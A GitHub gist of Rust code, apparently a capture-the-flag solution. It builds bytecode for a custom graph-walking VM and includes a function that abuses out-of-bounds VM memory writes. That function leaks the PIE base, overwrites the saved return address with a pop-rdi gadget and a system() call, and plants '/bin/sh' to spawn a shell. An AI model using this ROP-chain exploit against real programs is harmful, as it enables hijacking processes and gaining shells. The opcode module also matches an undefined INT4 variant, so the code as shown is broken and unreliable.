Last active
May 19, 2022 14:34
-
-
Save molenzwiebel/89c783b8d664291a79f5aa24772d979b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{ | |
cell::RefCell, | |
collections::HashMap, | |
ops::{ | |
AddAssign, Deref, DivAssign, Index, IndexMut, MulAssign, ShlAssign, ShrAssign, SubAssign, | |
}, | |
rc::Rc, | |
}; | |
use crate::op::{Insn, Opcode, PartialInsn, U16OrLabel}; | |
pub struct Builder { | |
insns: RefCell<Vec<PartialInsn>>, | |
labels: RefCell<HashMap<String, u16>>, | |
} | |
impl Builder { | |
pub fn new() -> Self { | |
Self { | |
insns: RefCell::new(Vec::new()), | |
labels: RefCell::new(HashMap::new()), | |
} | |
} | |
fn to_insns(&self) -> Vec<Insn> { | |
let mut ret = vec![]; | |
for (i, insn) in self.insns.borrow().iter().enumerate() { | |
let i = i as i16; | |
ret.push(Insn { | |
opcode: insn.opcode, | |
a: insn.a, | |
b: match &insn.b { | |
U16OrLabel::U16(b) => *b, | |
U16OrLabel::Label(label) => { | |
(*self | |
.labels | |
.borrow_mut() | |
.get(label) | |
.expect("Use of label that was never defined") | |
as i16 | |
- i) as u16 | |
} | |
}, | |
d: match &insn.d { | |
U16OrLabel::U16(b) => *b, | |
U16OrLabel::Label(label) => { | |
(*self | |
.labels | |
.borrow_mut() | |
.get(label) | |
.expect("Use of label that was never defined") | |
as i16 | |
- i) as u16 | |
} | |
}, | |
e: match &insn.e { | |
U16OrLabel::U16(b) => *b, | |
U16OrLabel::Label(label) => { | |
(*self | |
.labels | |
.borrow_mut() | |
.get(label) | |
.expect("Use of label that was never defined") | |
as i16 | |
- i) as u16 | |
} | |
}, | |
}); | |
} | |
ret | |
} | |
fn record_label(&self, label: &str) { | |
let _ = self | |
.labels | |
.borrow_mut() | |
.insert(label.to_string(), self.insns.borrow().len() as u16) | |
.map(|_| panic!("Redefinition of label")); | |
} | |
fn append_insn(&self, insn: Insn) { | |
self.insns.borrow_mut().push(insn.into()); | |
} | |
fn append_partial_insn(&self, insn: PartialInsn) { | |
self.insns.borrow_mut().push(insn); | |
} | |
} | |
pub struct Context { | |
builder: Rc<Builder>, | |
pub mem: Memory, | |
} | |
impl Context { | |
pub fn new() -> Context { | |
let builder = Rc::new(Builder::new()); | |
Context { | |
mem: Memory::new(builder.clone()), | |
builder, | |
} | |
} | |
pub fn to_insns(&self) -> Vec<Insn> { | |
self.builder.to_insns() | |
} | |
pub fn to_buffer(&self) -> Vec<u8> { | |
let mut out = vec![]; | |
let insns = self.to_insns(); | |
out.extend_from_slice(&u16::to_ne_bytes(insns.len() as u16)); | |
for insn in insns { | |
// transmute bytes with sizeof | |
let bytes: [u8; std::mem::size_of::<Insn>()] = unsafe { std::mem::transmute(insn) }; | |
out.extend_from_slice(&bytes); | |
} | |
out | |
} | |
fn append_insn(&self, insn: Insn) { | |
self.builder.append_insn(insn); | |
} | |
pub fn label(&self, label: &str) { | |
self.builder.record_label(label); | |
} | |
pub fn jmp(&mut self, addr: Addr, offset: u16) { | |
self.append_insn(Insn { | |
opcode: Opcode::JMP_MEM_OFFSET, | |
a: 0, | |
b: addr.0, | |
d: offset, | |
e: 0, | |
}); | |
} | |
pub fn jmp_label(&mut self, label: &str) { | |
self.builder.append_partial_insn(PartialInsn { | |
opcode: Opcode::JMP_MEM_OFFSET, | |
a: 0, | |
b: U16OrLabel::U16(0), | |
d: U16OrLabel::Label(label.to_string()), | |
e: U16OrLabel::U16(0), | |
}); | |
} | |
pub fn je(&mut self, addr: Addr, offset: u16) { | |
self.append_insn(Insn { | |
opcode: Opcode::JNZ_MEM_OFFSET, | |
a: 0, | |
b: addr.0, | |
d: offset, | |
e: 0, | |
}); | |
} | |
pub fn je_label(&mut self, label: &str) { | |
self.builder.append_partial_insn(PartialInsn { | |
opcode: Opcode::JNZ_MEM_OFFSET, | |
a: 0, | |
b: U16OrLabel::U16(0), | |
d: U16OrLabel::Label(label.to_string()), | |
e: U16OrLabel::U16(0), | |
}); | |
} | |
pub fn cmp(&mut self, a: Addr, b: Addr) { | |
self.append_insn(Insn { | |
opcode: Opcode::CMP, | |
a: 0, | |
b: a.0, | |
d: b.0, | |
e: 0, | |
}); | |
} | |
pub fn step(&mut self, src: Addr, dst: Addr) { | |
self.append_insn(Insn { | |
opcode: Opcode::STEP, | |
a: 0, | |
b: src.0, | |
d: dst.0, | |
e: 0, | |
}); | |
} | |
pub fn read_edge(&mut self, id: Addr, src_dst_addr: Addr, weight_addr: Addr) { | |
self.append_insn(Insn { | |
opcode: Opcode::READ_EDGE, | |
a: 0, | |
b: id.0, | |
d: src_dst_addr.0, | |
e: weight_addr.0, | |
}); | |
} | |
pub fn restart(&mut self) { | |
self.append_insn(Insn { | |
opcode: Opcode::RELOAD, | |
a: 0, | |
b: 0, | |
d: 0, | |
e: 0, | |
}); | |
} | |
pub fn int3(&mut self) { | |
self.append_insn(Insn { | |
opcode: Opcode::INT3, | |
a: 0, | |
b: 0, | |
d: 0, | |
e: 0, | |
}); | |
} | |
} | |
pub struct Memory { | |
builder: Rc<Builder>, | |
mems: Vec<MemoryRef>, | |
} | |
impl Memory { | |
pub fn new(builder: Rc<Builder>) -> Memory { | |
Memory { | |
mems: (0..4096) | |
.map(Addr) | |
.map(|x| MemoryRef(builder.clone(), x, DerefdMemoryRef(builder.clone(), x))) | |
.collect(), | |
builder, | |
} | |
} | |
} | |
#[derive(Copy, Clone)] | |
pub struct Addr(u16); | |
impl Addr { | |
pub fn zero() -> Self { | |
Addr(0) | |
} | |
} | |
impl From<u16> for Addr { | |
fn from(x: u16) -> Self { | |
if x == 0 { | |
panic!("Addr(0) is invalid, assumed to always be zero"); | |
} | |
Addr(x) | |
} | |
} | |
impl Index<Addr> for Memory { | |
type Output = MemoryRef; | |
fn index(&self, index: Addr) -> &Self::Output { | |
&self.mems[index.0 as usize] | |
} | |
} | |
impl IndexMut<Addr> for Memory { | |
fn index_mut(&mut self, index: Addr) -> &mut Self::Output { | |
&mut self.mems[index.0 as usize] | |
} | |
} | |
pub struct MemoryRef(Rc<Builder>, Addr, DerefdMemoryRef); | |
impl MemoryRef { | |
pub fn set(&mut self, a: impl Into<MemoryWriteValue>) -> Addr { | |
use MemoryWriteValue::*; | |
match a.into() { | |
Imm(val) => { | |
self.0.append_insn(Insn { | |
opcode: Opcode::STORE_IMM, | |
a: 0, | |
b: self.1 .0, | |
d: (val & 0xFFFF) as u16, | |
e: (val >> 16) as u16, | |
}); | |
} | |
Mem(addr) => { | |
self.0.append_insn(Insn { | |
opcode: Opcode::MOV, | |
a: 0, | |
b: addr.0, | |
d: self.1 .0, | |
e: 0, | |
}); | |
} | |
DerefMem(addr) => { | |
self.0.append_insn(Insn { | |
opcode: Opcode::READ_AT_ADDR, | |
a: 0, | |
b: addr.0, | |
d: self.1 .0, | |
e: 0, | |
}); | |
} | |
NumVertices => { | |
self.0.append_insn(Insn { | |
opcode: Opcode::READ_NUM_VERTICES, | |
a: 0, | |
b: 0, | |
d: self.1 .0, | |
e: 0, | |
}); | |
} | |
NumEdges => { | |
self.0.append_insn(Insn { | |
opcode: Opcode::READ_NUM_EDGES, | |
a: 0, | |
b: 0, | |
d: self.1 .0, | |
e: 0, | |
}); | |
} | |
}; | |
self.1 | |
} | |
fn emit_op(&self, opcode: Opcode, other: Addr) { | |
self.0.append_insn(Insn { | |
opcode, | |
a: 0, | |
b: other.0, | |
d: self.1 .0, | |
e: 0, | |
}); | |
} | |
} | |
impl Deref for MemoryRef { | |
type Target = DerefdMemoryRef; | |
fn deref(&self) -> &Self::Target { | |
&self.2 | |
} | |
} | |
#[derive(Clone)] | |
pub struct DerefdMemoryRef(Rc<Builder>, Addr); | |
impl DerefdMemoryRef { | |
pub fn set(&self, a: Addr) { | |
self.0.append_insn(Insn { | |
opcode: Opcode::STORE_AT_ADDR, | |
a: 0, | |
b: a.0, | |
d: self.1 .0, | |
e: 0, | |
}); | |
} | |
} | |
impl AddAssign<Addr> for MemoryRef { | |
fn add_assign(&mut self, rhs: Addr) { | |
self.emit_op(Opcode::ADD, rhs) | |
} | |
} | |
impl SubAssign<Addr> for MemoryRef { | |
fn sub_assign(&mut self, rhs: Addr) { | |
self.emit_op(Opcode::SUB, rhs) | |
} | |
} | |
impl MulAssign<Addr> for MemoryRef { | |
fn mul_assign(&mut self, rhs: Addr) { | |
self.emit_op(Opcode::MUL, rhs) | |
} | |
} | |
impl DivAssign<Addr> for MemoryRef { | |
fn div_assign(&mut self, rhs: Addr) { | |
self.emit_op(Opcode::DIV, rhs) | |
} | |
} | |
impl ShlAssign<Addr> for MemoryRef { | |
fn shl_assign(&mut self, rhs: Addr) { | |
self.emit_op(Opcode::SHL, rhs) | |
} | |
} | |
impl ShrAssign<Addr> for MemoryRef { | |
fn shr_assign(&mut self, rhs: Addr) { | |
self.emit_op(Opcode::SHR, rhs) | |
} | |
} | |
impl Into<MemoryWriteValue> for Addr { | |
fn into(self) -> MemoryWriteValue { | |
MemoryWriteValue::Mem(self) | |
} | |
} | |
impl Addr { | |
pub fn deref(&self) -> MemoryWriteValue { | |
MemoryWriteValue::DerefMem(*self) | |
} | |
} | |
#[derive(Copy, Clone)] | |
pub enum MemoryWriteValue { | |
Imm(u32), | |
Mem(Addr), | |
DerefMem(Addr), | |
NumVertices, | |
NumEdges, | |
} | |
impl Into<MemoryWriteValue> for u32 { | |
fn into(self) -> MemoryWriteValue { | |
MemoryWriteValue::Imm(self) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#![allow(non_camel_case_types, dead_code)] | |
use crate::ctx::Addr; | |
mod ctx; | |
mod op; | |
// find edge leading to target, overflow into current | |
// node and set it to the edge source, then move along | |
// the edge to the target | |
fn shortest(ctx: &mut ctx::Context) { | |
use ctx::MemoryWriteValue::*; | |
let end_vertex_id = 1.into(); | |
let i = 2.into(); | |
let one = 3.into(); | |
let sixteen = 6.into(); | |
let edge_src_dest = 4.into(); | |
let edge_src = 7.into(); | |
let edge_dst = 8.into(); | |
let edge_weight = 5.into(); | |
ctx.mem[end_vertex_id].set(NumVertices); | |
ctx.mem[one].set(1); | |
ctx.mem[sixteen].set(16); | |
// i = num_edges - 1 | |
ctx.mem[i].set(NumEdges); | |
ctx.mem[i] -= one; | |
ctx.label("loop_check:"); | |
{ | |
ctx.cmp(i, Addr::zero()); | |
ctx.je_label("loop_after:"); | |
ctx.jmp_label("loop_body:"); | |
} | |
ctx.label("loop_body:"); | |
{ | |
ctx.read_edge(i, edge_src_dest, edge_weight); | |
// split out source and dest | |
ctx.mem[edge_src].set(edge_src_dest); | |
ctx.mem[edge_dst].set(edge_src_dest); | |
ctx.mem[edge_dst] >>= sixteen; | |
ctx.mem[edge_src] <<= sixteen; | |
ctx.mem[edge_src] >>= sixteen; | |
// check if the destination of this edge is the end vertex | |
ctx.cmp(edge_dst, end_vertex_id); | |
ctx.je_label("found:"); | |
// decrement and loop | |
ctx.mem[i] -= one; | |
ctx.jmp_label("loop_check:"); | |
} | |
ctx.label("loop_after:"); | |
{ | |
// not found? | |
ctx.int3(); | |
} | |
ctx.label("found:"); | |
{ | |
// overwrite current vertex | |
ctx.mem[2051.into()].set(edge_src); | |
ctx.step(edge_src, edge_dst); | |
} | |
} | |
// rop chain into a call to system(/bin/sh) | |
fn rop(ctx: &mut ctx::Context) { | |
let idx_stored_rbp_lo: Addr = 2055.into(); | |
let idx_stored_rbp_hi: Addr = 2056.into(); | |
let idx_ret_addr_lo: Addr = 2057.into(); | |
let idx_ret_addr_hi: Addr = 2058.into(); | |
let bin_sh_addr_lo: Addr = 2059.into(); | |
let bin_sh_addr_hi: Addr = 2060.into(); | |
let system_call_addr_lo: Addr = 2061.into(); | |
let system_call_addr_hi: Addr = 2062.into(); | |
let bin_sh_value_lo: Addr = 2067.into(); | |
let bin_sh_value_hi: Addr = 2068.into(); | |
// original return address offset is 0x13cb | |
let original_return_offset_from_base = 0x13cb; | |
let pop_rdi_ret = 0x1fa3; | |
let system = 0x19A9; // call system | |
let pie_base_lo = 1.into(); | |
let pie_base_hi = 2.into(); | |
let scratch = 3.into(); | |
// stack layout looks like this: | |
// ----------------------------- | |
// 0x00: saved rbp lo | |
// 0x04: saved rbp hi | |
// 0x08: ret addr lo | |
// 0x0C: ret addr hi | |
// we're going to make it look like this: | |
// -------------------------------------- | |
// 0x00: saved rbp lo | |
// 0x04: saved rbp hi | |
// 0x08: pop_rdi_ret lo | |
// 0x0C: pop_rdi_ret hi | |
// 0x10: stack + 0x20 lo | |
// 0x14: stack + 0x20 hi | |
// 0x18: system_call_addr lo | |
// 0x1C: system_call_addr hi | |
// 0x20: / | |
// 0x21: b | |
// 0x22: i | |
// ... | |
// set return address to base | |
ctx.mem[scratch].set(original_return_offset_from_base); | |
ctx.mem[idx_ret_addr_lo] -= scratch; | |
// save base | |
ctx.mem[pie_base_lo].set(idx_ret_addr_lo); | |
ctx.mem[pie_base_hi].set(idx_ret_addr_hi); | |
// set return address to pop_rdi_ret | |
ctx.mem[scratch].set(pop_rdi_ret); | |
ctx.mem[idx_ret_addr_lo] += scratch; | |
// rdi = ptr to stored rbp | |
ctx.mem[bin_sh_addr_lo].set(idx_stored_rbp_lo); | |
ctx.mem[bin_sh_addr_hi].set(idx_stored_rbp_hi); | |
// return address of pop rdi gadget to system call | |
ctx.mem[scratch].set(system); | |
ctx.mem[system_call_addr_lo].set(pie_base_lo); | |
ctx.mem[system_call_addr_hi].set(pie_base_hi); | |
ctx.mem[system_call_addr_lo] += scratch; | |
// set /bin/sh string | |
ctx.mem[bin_sh_value_lo].set(0x6E69622F); // /bin | |
ctx.mem[bin_sh_value_hi].set(0x0068732F); // /sh\0 | |
// move saved rbp out of the way | |
ctx.mem[scratch].set(0x100); | |
ctx.mem[idx_stored_rbp_lo] += scratch; | |
ctx.int3(); | |
} | |
fn main() { | |
let mut ctx = ctx::Context::new(); | |
rop(&mut ctx); | |
// shortest(&mut ctx); | |
let insns = ctx.to_insns(); | |
for insn in insns { | |
println!("{}", insn.disassemble()); | |
} | |
std::fs::write("./out.bin", ctx.to_buffer()).unwrap(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#[repr(C)] | |
#[derive(Debug, Copy, Clone)] | |
pub struct Insn { | |
pub opcode: Opcode, | |
pub a: u8, | |
pub b: u16, | |
pub d: u16, | |
pub e: u16, | |
} | |
const _: () = assert!(std::mem::size_of::<Insn>() == 8); | |
#[derive(Debug, Clone)] | |
pub struct PartialInsn { | |
pub opcode: Opcode, | |
pub a: u8, | |
pub b: U16OrLabel, | |
pub d: U16OrLabel, | |
pub e: U16OrLabel, | |
} | |
#[derive(Debug, Clone)] | |
pub enum U16OrLabel { | |
U16(u16), | |
Label(String), | |
} | |
impl From<Insn> for PartialInsn { | |
fn from(insn: Insn) -> Self { | |
PartialInsn { | |
opcode: insn.opcode, | |
a: insn.a, | |
b: U16OrLabel::U16(insn.b), | |
d: U16OrLabel::U16(insn.d), | |
e: U16OrLabel::U16(insn.e), | |
} | |
} | |
} | |
#[repr(u8)] | |
#[derive(Copy, Clone, Debug, PartialEq, Eq)] | |
pub enum Opcode { | |
STORE_IMM = 0x0, | |
ADD = 0x1, | |
SUB = 0x2, | |
MUL = 0x3, | |
DIV = 0x4, | |
SHL = 0x5, | |
SHR = 0x6, | |
MOV = 0x7, | |
JMP_MEM_OFFSET = 0x8, | |
JNZ_MEM_OFFSET = 0x9, | |
CMP = 0xA, | |
STEP = 0xB, | |
READ_EDGE = 0xC, | |
READ_NUM_VERTICES = 0xD, | |
READ_NUM_EDGES = 0xE, | |
RELOAD = 0xF, | |
STORE_AT_ADDR = 0x10, | |
READ_AT_ADDR = 0x11, | |
INT3 = 0x12, | |
} | |
impl Insn { | |
pub fn disassemble(&self) -> String { | |
let Insn { b, d, e, .. } = *self; | |
match self.opcode { | |
Opcode::STORE_IMM => { | |
format!("mem[{b}] = {d}, {e}") | |
} | |
Opcode::ADD => format!("mem[{d}] += mem[{b}]"), | |
Opcode::SUB => format!("mem[{d}] -= mem[{b}]"), | |
Opcode::MUL => format!("mem[{d}] *= mem[{b}]"), | |
Opcode::DIV => format!("mem[{d}] /= mem[{b}]"), | |
Opcode::SHL => format!("mem[{d}] <<= mem[{b}]"), | |
Opcode::SHR => format!("mem[{d}] >>= mem[{b}]"), | |
Opcode::MOV => format!("mem[{d}] = mem[{b}]"), | |
Opcode::JMP_MEM_OFFSET => format!("pc += mem[{b}] + {}", d as i16), | |
Opcode::JNZ_MEM_OFFSET => format!("if (flags) pc += mem[{b}] + {}", d as i16), | |
Opcode::CMP => format!("flags = mem[{b}] == mem[{d}]"), | |
Opcode::STEP => format!("move along edge from mem[{b}] to mem[{d}]"), | |
Opcode::READ_EDGE => { | |
format!("mem[{d}] = edges[{b}].src, edges[{b}].dst; mem[{e}] = edges[{b}].weight") | |
} | |
Opcode::READ_NUM_VERTICES => format!("mem[{d}] = num_vertices"), | |
Opcode::READ_NUM_EDGES => format!("mem[{d}] = num_edges"), | |
Opcode::RELOAD => format!("reload"), | |
Opcode::STORE_AT_ADDR => format!("mem[mem[{d}]] = mem[{b}]"), | |
Opcode::READ_AT_ADDR => format!("mem[{d}] = mem[mem[{b}]]"), | |
Opcode::INT3 => format!("int3"), | |
Opcode::INT4 => format!("int4"), | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment